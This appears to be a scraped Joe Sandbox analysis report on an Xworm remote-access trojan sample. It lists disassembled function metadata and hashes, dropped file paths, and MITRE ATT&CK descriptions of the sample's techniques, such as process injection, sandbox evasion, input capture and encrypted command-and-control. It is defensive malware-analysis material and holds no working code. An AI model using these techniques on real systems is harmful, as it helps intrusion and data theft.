API String ID: 2559412058-0
Opcode ID: 8dc00cc17916e51878c739d69405aa8aaf783ed38faa93ebc3c9ada15bb1a2f3
Instruction ID: 2889793b035cc39e7b131811080b1ebbbfe987b66db2f5173f4e6b58d1631014
Opcode Fuzzy Hash: 8dc00cc17916e51878c739d69405aa8aaf783ed38faa93ebc3c9ada15bb1a2f3
Instruction Fuzzy Hash: 7321E5B59002099FDB24DF9AC944BEEFBF5FF88310F108419E529A7250C779A945CFA1

Function 05457EE4 Relevance: 1.6, APIs: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,05459402,?,?,?,?,?), ref: 054594A7

Memory Dump Source

Source File: 00000005.00000002.3600073839.0000000005450000.00000040.00000800.00020000.00000000.sdmp, Offset: 05450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5450000_SecuriteInfo.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 9b7de9ebe446a034f6bd5df09cb639544f043463ea49ae41695204ee24158040
Instruction ID: 8febb0a6200628dbe70123be0a54336ce29eefad990366f7d5af6aa100675545
Opcode Fuzzy Hash: 9b7de9ebe446a034f6bd5df09cb639544f043463ea49ae41695204ee24158040
Instruction Fuzzy Hash: 4A116AB1804349DFCB10DF9AC844BDEBFF9EB48320F14845AE914A3210C339A950DFA5

Function 06781440 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?,?,?,?,?,?,?,?,?,06781FA2), ref: 0678208F

Memory Dump Source

Source File: 00000005.00000002.3600796785.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6780000_SecuriteInfo.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: e04006ed85b4400782180b22341286820657ecd069caee8faa0d3c06330b2a81
Instruction ID: 6c2a20e27d18b62e16b182612d82568ff25f68096b2fea40de93ba713265fee2
Opcode Fuzzy Hash: e04006ed85b4400782180b22341286820657ecd069caee8faa0d3c06330b2a81
Instruction Fuzzy Hash: 821103B1C106599FCB10DF9AC544AAEFBF4EF49310F11816AE818B7241D378AA44CFE5

Function 06782020 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?,?,?,?,?,?,?,?,?,06781FA2), ref: 0678208F

Memory Dump Source

Source File: 00000005.00000002.3600796785.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6780000_SecuriteInfo.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 33f2e4d76000e3a9d558d922f3dd03ad5d0adaa27f6e09b892c420229b981852
Instruction ID: 7da155e45e95cdc4edd74eabc697b09363671e40722782aa8fa4a07d19d425f6
Opcode Fuzzy Hash: 33f2e4d76000e3a9d558d922f3dd03ad5d0adaa27f6e09b892c420229b981852
Instruction Fuzzy Hash: C711D3B1C106599FCB10DF9AC54479EFBF4BF08320F14866AD828B7291D778AA44CFA5

Function 05430633 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0543069E

Memory Dump Source

Source File: 00000005.00000002.3599998262.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 2d0259083dd40c9a40142c1364482080740307cca1a560dfd631bd5796df45e9
Instruction ID: c196058e5f6d9a45d08cc7e0b4af8f99a3b7645173c8181b2aa977e146248222
Opcode Fuzzy Hash: 2d0259083dd40c9a40142c1364482080740307cca1a560dfd631bd5796df45e9
Instruction Fuzzy Hash: 541102B5C007498FDB10DF9AC444ADEFBF4EB88320F14856AD819A7614C379A545CFA5

Function 0545C988 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0545C9E5

Memory Dump Source

Source File: 00000005.00000002.3600073839.0000000005450000.00000040.00000800.00020000.00000000.sdmp, Offset: 05450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5450000_SecuriteInfo.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 0826ea5a39eb3db6f60247654bed91a56afb5b6b080480151cb9949f8aa50839
Instruction ID: 432bb6106ee63422b10cc7a0305e8843f2c7830a062b2422dc235cef63bd34f8
Opcode Fuzzy Hash: 0826ea5a39eb3db6f60247654bed91a56afb5b6b080480151cb9949f8aa50839
Instruction Fuzzy Hash: 6F11F8B58003499FDB10DF9AC985BDEBBF8EB48320F10845AE558A3641D378A944CFA5

Function 05430638 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0543069E

Memory Dump Source

Source File: 00000005.00000002.3599998262.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: ae106edd6228e9a789f089cee383faa87dd0a943a5a058071574ec33c25dae34
Instruction ID: 17851307b299e73ae551cc40eae1750d6b17c5633315b83dd53efd38f2479811
Opcode Fuzzy Hash: ae106edd6228e9a789f089cee383faa87dd0a943a5a058071574ec33c25dae34
Instruction Fuzzy Hash: A51110B5C007498FDB20DF9AC448ADEFBF4EF88320F10856AD819A7614C379A545CFA5

Function 05435368 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,FFFFFFF4,?), ref: 0543593D

Memory Dump Source

Source File: 00000005.00000002.3599998262.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 8e062ee54b2636f5b51f04ed47292fa863bcf74f2bf1cbc733e8663bd7ce3789
Instruction ID: d1d1dae7ca8f8174a3193b2f996ec69191a8c86da76c08a362bd29f56092e051
Opcode Fuzzy Hash: 8e062ee54b2636f5b51f04ed47292fa863bcf74f2bf1cbc733e8663bd7ce3789
Instruction Fuzzy Hash: 501136B5800208CFCB10DF8AC485BDFBBF8EB48320F20841AE919A3310D378A940CFA5

Function 05457F28 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?), ref: 0545980D

Memory Dump Source

Source File: 00000005.00000002.3600073839.0000000005450000.00000040.00000800.00020000.00000000.sdmp, Offset: 05450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5450000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 7d1b282824be2e45448391b7a8e34175782a56b95df8848a32ae531750c9280d
Instruction ID: 6c36acb45082084ed227908f2d55e59a395eaa3edeb5bbf888a24e95e206e506
Opcode Fuzzy Hash: 7d1b282824be2e45448391b7a8e34175782a56b95df8848a32ae531750c9280d
Instruction Fuzzy Hash: 5711F5B5800348DFCB10DF9AC484BDEBBF8FB48320F20845AE918A7201D375A944CFA5

Function 0543AA10 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 0543C70D

Memory Dump Source

Source File: 00000005.00000002.3599998262.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 6f66026328153ee9cb058f1d83ea37e32b205fca8e101efce2461e93387bfc94
Instruction ID: 8ca59328e08f6f8b94460abbbe62a725f224b6ecf45d3f8a7ee124505e0a0b9d
Opcode Fuzzy Hash: 6f66026328153ee9cb058f1d83ea37e32b205fca8e101efce2461e93387bfc94
Instruction Fuzzy Hash: 471103B58042498FCB20DF9AD585BDEBBF8EB48310F20845AD519B7310D378A944CFA5

Function 06780AC0 Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 06780B25

Memory Dump Source

Source File: 00000005.00000002.3600796785.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6780000_SecuriteInfo.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 6225e8f33cc384155676cd17c194c5524582b30109cb7092a99d63a3f9dee9f7
Instruction ID: a58c096474eb32b6639394a0d2c8d6ad3f7eba4dffcec0be0b0046eb4596d5bb
Opcode Fuzzy Hash: 6225e8f33cc384155676cd17c194c5524582b30109cb7092a99d63a3f9dee9f7
Instruction Fuzzy Hash: 7611F2B5C04689CECB10DF9AD984ADEFBF5AB48314F20841AD418B3640D338A544CFA5

Function 054358D8 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,FFFFFFF4,?), ref: 0543593D

Memory Dump Source

Source File: 00000005.00000002.3599998262.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: bff8709c1a19d11aaf83686970cd3fc4bfda6e082da66d444414430ec112474f
Instruction ID: 038aa60e20bb0b91ddc81552ccc94caf8550e1eba7a1c47e0389d01411989b72
Opcode Fuzzy Hash: bff8709c1a19d11aaf83686970cd3fc4bfda6e082da66d444414430ec112474f
Instruction Fuzzy Hash: 281122B58002498FDB10DF99C585BDEBBF8FB48320F20844AD959A3310C379A940CFA5

Function 06780AC8 Relevance: 1.5, APIs: 1, Instructions: 43windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 06780B25

Memory Dump Source

Source File: 00000005.00000002.3600796785.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6780000_SecuriteInfo.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: d60c277c0c7d03e2b310030ed18881f8f498c18dcec68792079d9a375180ba98
Instruction ID: cc7d8f0febb0680f6dc443a38a2154eb55c0c48f63befb88c9bd4303f75faaaf
Opcode Fuzzy Hash: d60c277c0c7d03e2b310030ed18881f8f498c18dcec68792079d9a375180ba98
Instruction Fuzzy Hash: 7311D0B5C04649CFCB10DF9AD944BDEFBF4EB48314F20842AD518A3650D378A544CFA5

Function 0543C6B0 Relevance: 1.5, APIs: 1, Instructions: 42comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 0543C70D

Memory Dump Source

Source File: 00000005.00000002.3599998262.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5430000_SecuriteInfo.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 9c01e771ff3831fa7d1403ac7ae01a63d025a294026aecfcb77099095958a6c4
Instruction ID: afc49e99d00339da620e2dcaca3d6495f86a825ee5e81570cbdaa3cce01d6512
Opcode Fuzzy Hash: 9c01e771ff3831fa7d1403ac7ae01a63d025a294026aecfcb77099095958a6c4
Instruction Fuzzy Hash: 031103B58002498FCB10DF9AD585BDEBBF4AB48224F20845AD918A3210D339A944CFA5

Function 0117D500 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3596271309.000000000117D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0117D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_117d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95afdf89b02ab06d18bfd7013002c7bad56215bf5003542664c5a37a71a08d57
Instruction ID: b32fab9138384d2772e69c01cf1827ef03b2953a5f7d1b5290626ced3d9a7d8d
Opcode Fuzzy Hash: 95afdf89b02ab06d18bfd7013002c7bad56215bf5003542664c5a37a71a08d57
Instruction Fuzzy Hash: 7A21F171504208DFDF1ADF58E9C0B26BF75FF88318F208569E90A0A356C33AD456CBA2

Function 0118D0FC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3596330214.000000000118D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0118D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_118d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25bb26f148ca1c19dd7b5a8b6bc91b9a1597f49e79f9ad037d6d5b2d45168c24
Instruction ID: 08de5577513e45ef0d9c62be8730083085daffced095c4948f0fe52e3857b329
Opcode Fuzzy Hash: 25bb26f148ca1c19dd7b5a8b6bc91b9a1597f49e79f9ad037d6d5b2d45168c24
Instruction Fuzzy Hash: 2B21F271504304AFDF09EFA8E9C0B26BBA5FF88314F20C56DD9094B296C33AD446CB62

Function 0118D2B4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3596330214.000000000118D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0118D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_118d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b30c2da3572e20295120e80825e9557dcfae03a54189b828099f10c7855c762d
Instruction ID: 716566633d9ce33c6ae38ee77e9c92b5e233086b7dd5af5e164498dd497043e7
Opcode Fuzzy Hash: b30c2da3572e20295120e80825e9557dcfae03a54189b828099f10c7855c762d
Instruction Fuzzy Hash: 8221F5B55083049FDF09EF98E5C0B26BB65FB84314F24C56DED494B292C33AD806CE62

Function 0117D4FB Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3596271309.000000000117D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0117D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_117d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: cdc21290d084d3e281cce386e176b4decc4481b3f526b32a4a41181271577e39
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: B4119D76504284CFDF16CF54D5C4B16BF71FB84314F2486A9D9490A256C336D45ACBA2

Function 0118D2AF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3596330214.000000000118D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0118D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_118d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 2634b22584ce87cc9a97b1f7b16d453ada2759ed41cfad550839b3e2b7134920
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: D311BBB5508780DFDB06DF54E5C4B15BFA1FB84214F28C6A9DC494B692C33AD40ACFA2

Function 0118D0F7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3596330214.000000000118D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0118D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_118d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 67eb333bd69bc9e465bb23e5f83bf0ba4f102c13de168c6d2ff9e02645be2fd7
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: FB11BB75504380DFDB0ADF54E9C4B15BFA1FB84214F24C6A9D8494B296C33AD44ACF62

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_VINQMAKI52OQ5DSR_ac49a6e8e43cdf6b966cd8165e24dd382453b1_3ff4ead9_b9b6324b-4ad3-4219-8fac-93424fd68963\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7A57.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7EDD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7F0C.tmp.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2gxfn111.dfi.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_coqbk5j1.kuj.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jqvi3wjx.qt2.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qnojatvs.u4o.ps1

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Windows Analysis Report
SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Function 009DADE8 Relevance: 1.7, APIs: 1, Instructions: 197
COMMON

Function 04BB18E4 Relevance: 1.6, APIs: 1, Instructions: 117
COMMON

Function 04BB18F0 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Function 009D590C Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Function 009D44D4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 04BB4050 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Function 009DD6B8 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Function 009DB7D0 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Function 009DAFD8 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

